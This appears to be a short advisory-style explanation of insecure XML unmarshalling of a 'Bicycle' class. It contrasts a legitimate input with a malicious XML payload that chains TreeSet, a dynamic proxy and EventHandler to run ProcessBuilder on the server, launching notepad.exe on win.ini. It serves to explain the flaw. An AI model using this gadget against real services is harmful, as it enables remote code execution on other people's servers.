Details:

Consider a service accepting XML input to be unmarshalled as an instance of the Bicycle class.

This is an example of legitimate input:

<bicycle>
  <name>unicycle</name>
  <id>123</id>
  <nbrWheels>1</nbrWheels>
  <nbrRiders>1</nbrRiders>
</bicycle>


This malicious input will execute the notepad application on the server and open the C:\Windows\win.ini file

<bicycle class="java.util.TreeSet">
   <no-comparator />
   <object />
    <dynamic-proxy>
       <interface>java.lang.Comparable</interface>
       <handler class="java.beans.EventHandler">
          <target class="java.lang.ProcessBuilder">
           <command>
             <string>notepad.exe</string>
             <string>c:\windows\win.ini</string>
           </command>
          </target>
          <action>start</action>
       </handler>
    </dynamic-proxy>
</bicycle>
